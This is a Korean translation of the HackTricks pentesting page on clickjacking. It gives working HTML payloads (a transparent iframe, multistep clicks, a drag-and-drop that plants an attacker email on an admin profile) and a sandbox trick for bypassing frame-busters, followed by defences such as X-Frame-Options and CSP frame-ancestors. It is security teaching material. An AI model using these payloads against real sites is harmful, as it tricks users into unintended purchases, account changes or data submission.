hacktricks/pentesting-web/clickjacking.md
2024-02-10 21:30:13 +00:00

16 KiB

클릭재킹

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:


Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구를 활용한 워크플로우를 쉽게 구축하고 자동화하세요.
오늘 바로 액세스하세요:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

클릭재킹이란

클릭재킹 공격에서는 사용자보이지 않는 또는 다른 요소로 위장한 웹페이지의 요소클릭하도록 속이는 것입니다. 이 조작은 사용자에게 의도하지 않은 결과를 초래할 수 있으며, 악성 소프트웨어 다운로드, 악성 웹페이지로의 리디렉션, 자격증명이나 민감한 정보 제공, 자금 이체, 제품 온라인 구매 등이 포함될 수 있습니다.

폼 미리 채우기 트릭

가끔은 페이지를 로드할 때 GET 매개변수를 사용하여 폼의 필드 값을 미리 채울 수 있습니다. 공격자는 이 동작을 악용하여 임의의 데이터로 폼을 채우고 클릭재킹 페이로드를 보내어 사용자가 제출 버튼을 누르도록 할 수 있습니다.

드래그 앤 드롭으로 폼 채우기

사용자에게 폼을 채우도록 요구하지만 직접적으로 특정 정보(예: 알고 있는 이메일 또는 특정 비밀번호)를 작성하도록 요청하고 싶지 않은 경우, 이 예제와 같이 제어 가능한 데이터를 작성할 수 있는 것을 드래그 앤 드롭으로 요청할 수 있습니다.

기본적인 페이로드

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

다단계 페이로드

A multistep payload is a technique used in clickjacking attacks to perform multiple actions in a single click. This technique involves dividing the payload into multiple steps, each corresponding to a specific action. By using iframes and manipulating their properties, the attacker can trick the victim into unknowingly performing these actions.

To implement a multistep payload, the attacker first creates an invisible iframe that overlays the target website. The iframe is positioned in such a way that it covers a specific element or button on the target website that the attacker wants the victim to click on. The attacker then modifies the properties of the iframe to make it transparent or hidden from view.

Next, the attacker creates a series of iframes, each containing the code for a specific action. These iframes are stacked on top of each other, with the first iframe containing the code for the initial action and subsequent iframes containing the code for subsequent actions. The attacker manipulates the properties of each iframe to make them invisible or hidden.

When the victim clicks on the targeted element or button, they are actually clicking on the invisible iframe overlaying it. This triggers the execution of the multistep payload, with each iframe performing its corresponding action. The victim remains unaware of these actions, as they only see the original element or button being clicked.

By using a multistep payload, an attacker can perform a series of actions on behalf of the victim without their knowledge or consent. This technique can be used to carry out various malicious activities, such as submitting forms, making purchases, or changing account settings, all without the victim's awareness.

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

드래그 & 드롭 + 클릭 페이로드

This technique combines the use of drag and drop functionality with a click payload to perform a clickjacking attack. Clickjacking is a type of attack where an attacker tricks a user into clicking on a malicious element disguised as a legitimate element on a web page.

이 기법은 드래그 앤 드롭 기능과 클릭 페이로드를 결합하여 클릭재킹 공격을 수행합니다. 클릭재킹은 공격자가 웹 페이지에서 합법적인 요소로 위장한 악성 요소를 사용자로 속여 클릭하도록 유도하는 유형의 공격입니다.

To execute this attack, the attacker first creates a draggable element on a web page. This element is typically hidden from the user's view. The attacker then overlays a transparent or semi-transparent element on top of the draggable element, making it appear as if the user is interacting with the legitimate element.

이 공격을 실행하기 위해 공격자는 먼저 웹 페이지에 드래그 가능한 요소를 생성합니다. 이 요소는 일반적으로 사용자의 시야에서 숨겨집니다. 그런 다음 공격자는 드래그 가능한 요소 위에 투명 또는 반투명한 요소를 겹쳐 놓아 사용자가 합법적인 요소와 상호작용하는 것처럼 보이도록 만듭니다.

When the user interacts with the visible element by dragging it, the hidden draggable element is also moved accordingly. However, the user is unaware of this hidden element. The attacker can then position the hidden element over a target element, such as a button or a link, and make it appear as if the user is clicking on the target element.

사용자가 보이는 요소와 상호작용하여 드래그할 때, 숨겨진 드래그 가능한 요소도 그에 따라 이동됩니다. 그러나 사용자는 이 숨겨진 요소를 인식하지 못합니다. 공격자는 그런 다음 숨겨진 요소를 대상 요소(버튼 또는 링크 등) 위에 위치시키고 사용자가 대상 요소를 클릭하는 것처럼 보이도록 할 수 있습니다.

By combining the drag and drop functionality with a click payload, the attacker can trick the user into unknowingly performing actions on the target element, such as submitting a form, making a purchase, or performing any other action that the target element is designed to perform.

드래그 앤 드롭 기능과 클릭 페이로드를 결합함으로써 공격자는 사용자가 대상 요소에 대해 알지 못한 채로 작업을 수행하도록 속일 수 있습니다. 이 작업에는 양식 제출, 구매, 또는 대상 요소가 수행하도록 설계된 기타 작업 등이 포함될 수 있습니다.

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + 클릭재킹

사용자가 어떤 요소를 클릭하여 XSS를 트리거해야 하는 XSS 공격을 식별했고, 페이지가 클릭재킹에 취약하다면, 사용자를 속여 버튼/링크를 클릭하도록 유도할 수 있습니다.
예시:
계정의 일부 개인 정보(오직 당신만 설정하고 읽을 수 있는 정보)에서 자체 XSS를 발견했습니다. 이러한 세부 정보를 설정하는 클릭재킹에 취약하며, GET 매개변수로 사전 채우기할 수 있습니다.
__공격자는 클릭재킹 공격을 준비하여 XSS 페이로드사전 채우기하고 사용자폼 제출으로 속일 수 있습니다. 그래서 폼이 제출되고 값이 수정되면 사용자가 XSS를 실행합니다.

클릭재킹 완화를 위한 전략

클라이언트 측 방어

클라이언트 측에서 실행되는 스크립트는 클릭재킹을 방지하기 위해 다음과 같은 작업을 수행할 수 있습니다:

  • 응용 프로그램 창이 주 창 또는 최상위 창인지 확인합니다.
  • 모든 프레임을 표시합니다.
  • 보이지 않는 프레임에서의 클릭을 방지합니다.
  • 클릭재킹 시도를 감지하고 사용자에게 경고합니다.

하지만 이러한 프레임 방지 스크립트는 우회될 수 있습니다:

  • 브라우저의 보안 설정: 일부 브라우저는 보안 설정이나 JavaScript 지원 부족으로 인해 이러한 스크립트를 차단할 수 있습니다.
  • HTML5 iframe sandbox 속성: 공격자는 allow-forms 또는 allow-scripts 값을 가진 sandbox 속성을 설정하여 프레임 버스터 스크립트를 무력화할 수 있습니다. 이렇게 하면 iframe이 최상위 창인지 확인하지 못합니다. 예를 들어,
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>

allow-formsallow-scripts 값은 iframe 내에서 작업을 활성화하면서 상위 수준 탐색을 비활성화합니다. 대상 사이트의 의도된 기능을 보장하기 위해 공격 유형에 따라 allow-same-originallow-modals와 같은 추가 권한이 필요할 수 있습니다. 브라우저 콘솔 메시지는 허용할 권한을 안내할 수 있습니다.

서버 측 방어

X-Frame-Options

X-Frame-Options HTTP 응답 헤더는 페이지를 <frame> 또는 <iframe>에서 렌더링하는 것의 적법성에 대해 브라우저에 알려주어 Clickjacking을 방지하는 데 도움이 됩니다:

  • X-Frame-Options: deny - 어떤 도메인도 콘텐츠를 프레임화할 수 없습니다.
  • X-Frame-Options: sameorigin - 현재 사이트만 콘텐츠를 프레임화할 수 있습니다.
  • X-Frame-Options: allow-from https://trusted.com - 지정된 'uri'만 페이지를 프레임화할 수 있습니다.
  • 주의할 점: 브라우저가 이 지시문을 지원하지 않으면 작동하지 않을 수 있습니다. 일부 브라우저는 CSP frame-ancestors 지시문을 선호합니다.

Content Security Policy (CSP) frame-ancestors 지시문

CSP의 frame-ancestors 지시문은 Clickjacking 보호를 위한 권장 방법입니다:

  • frame-ancestors 'none' - X-Frame-Options: deny와 유사합니다.
  • frame-ancestors 'self' - X-Frame-Options: sameorigin과 유사합니다.
  • frame-ancestors trusted.com - X-Frame-Options: allow-from과 유사합니다.

예를 들어, 다음 CSP는 동일한 도메인에서만 프레임화를 허용합니다:

Content-Security-Policy: frame-ancestors 'self';

더 자세한 내용과 복잡한 예제는 frame-ancestors CSP 문서Mozilla의 CSP frame-ancestors 문서에서 찾을 수 있습니다.

child-srcframe-src를 사용한 Content Security Policy (CSP)

**Content Security Policy (CSP)**는 브라우저가 어떤 소스를 허용하여 콘텐츠를 로드할 수 있는지 지정하여 Clickjacking 및 기타 코드 삽입 공격을 방지하는 보안 조치입니다.

frame-src 지시문

  • 프레임에 대한 유효한 소스를 정의합니다.
  • default-src 지시문보다 구체적입니다.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

이 정책은 동일 출처(self)와 https://trusted-website.com에서 프레임을 허용합니다.

child-src 지시문

  • CSP 레벨 2에서 도입되어 웹 워커와 프레임의 유효한 소스를 설정하는 데 사용됩니다.
  • frame-src 및 worker-src에 대한 대체 옵션으로 작동합니다.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

이 정책은 동일 출처(self)와 https://trusted-website.com의 프레임과 워커를 허용합니다.

사용 노트:

  • 폐기 예정: child-src는 frame-src와 worker-src를 선호하여 단계적으로 폐기됩니다.
  • 대체 동작: frame-src가 없는 경우, 프레임에 대한 대체로 child-src가 사용됩니다. 둘 다 없는 경우, default-src가 사용됩니다.
  • 엄격한 소스 정의: 악용을 방지하기 위해 지시문에 신뢰할 수 있는 소스만 포함하세요.

자바스크립트 프레임 차단 스크립트

완벽하게 보호되지는 않지만, 자바스크립트 기반의 프레임 차단 스크립트를 사용하여 웹 페이지가 프레임에 포함되는 것을 방지할 수 있습니다. 예시:

if (top !== self) {
top.location = self.location;
}

Anti-CSRF 토큰 사용

  • 토큰 유효성 검사: 웹 애플리케이션에서 Anti-CSRF 토큰을 사용하여 상태 변경 요청이 사용자에 의해 의도적으로 이루어지고 Clickjacked 페이지를 통해 이루어지지 않도록 보장합니다.

참고 자료


Trickest를 사용하여 세계에서 가장 고급스러운 커뮤니티 도구를 활용한 워크플로우를 쉽게 구축하고 자동화하세요.
오늘 바로 액세스하세요:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

**htARTE (HackTricks AWS Red Team Expert)**로부터 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법: